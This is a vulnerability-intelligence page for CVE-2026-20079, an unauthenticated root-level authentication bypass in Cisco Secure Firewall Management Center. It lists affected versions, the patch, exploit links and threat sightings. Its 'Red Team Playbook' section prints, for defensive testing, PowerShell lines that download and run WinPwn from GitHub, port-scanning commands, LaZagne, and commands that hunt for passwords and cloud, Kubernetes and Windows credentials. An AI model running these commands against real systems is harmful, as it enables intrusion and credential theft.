CVE-2026-20079
Overview
This vulnerability is an authentication bypass in the web interface of Cisco Secure Firewall Management Center (FMC) caused by an improper system process created during device boot. The flaw resides in the handling of HTTP requests by the FMC software, allowing unauthenticated attackers to trigger unauthorized system-level script execution. The affected component is the FMC's web management interface running on specific versions prior to 7.0.3.
Vulnerability Description
A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system. This vulnerability is due to an improper system process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device.
Impact
An unauthenticated attacker can remotely bypass authentication and execute arbitrary scripts with root privileges on the affected device. This enables full control over the underlying operating system, including the ability to manipulate firewall configurations, access sensitive data, and disrupt network security operations. No user interaction or credentials are required, making it a critical threat to enterprise network defenses.
Solution
Cisco has released fixed versions of Secure Firewall Management Center starting from 7.0.3 to address this vulnerability. Administrators should upgrade affected FMC instances to version 7.0.3 or later as detailed in Cisco Security Advisory cisco-sa-onprem-fmc-authbypass-5JPp45V2. The advisory provides comprehensive patch instructions and guidance for mitigation steps to secure affected deployments.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (72)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Cisco | Secure Firewall Management Center | 7.0.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.1.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.2.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.4 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.4:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.5 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.5:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.6 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.6.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.6.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.6.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.7 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.7:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.8 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.8:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.8.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.8.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.9 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.9:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.2:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Cisco Secure Firewall Management Center Authentication Bypass RCE
exploits/linux/http/cisco_fmc_auth_bypass_rce
|
Brandon Sakai, Cale Black, Arian Eidizadeh | Unknown | unix, linux | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
CyberAuth/CVE-2026-20079
Python proof of concept for CVE-2026-20079 affecting Cisco Secure Firewall Management Center.
|
CyberAuth | 4 | 2 | 2026-08-17 | View |
|
0xBlackash/CVE-2026-20079
CVE-2026-20079
|
0xBlackash | 0 | 2 | 2026-03-28 | View |
Threat Feed
13 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1593 known victims)
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
48%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20079 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2 |
| seclists.org |
NVD API
Exploit
Mailing List
Third Party Advisory
|
http://seclists.org/fulldisclosure/2026/Aug/80 |
| blog.talosintelligence.com |
NVD API
|
https://blog.talosintelligence.com/fmc-ongoing-exploitation/ |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20079 |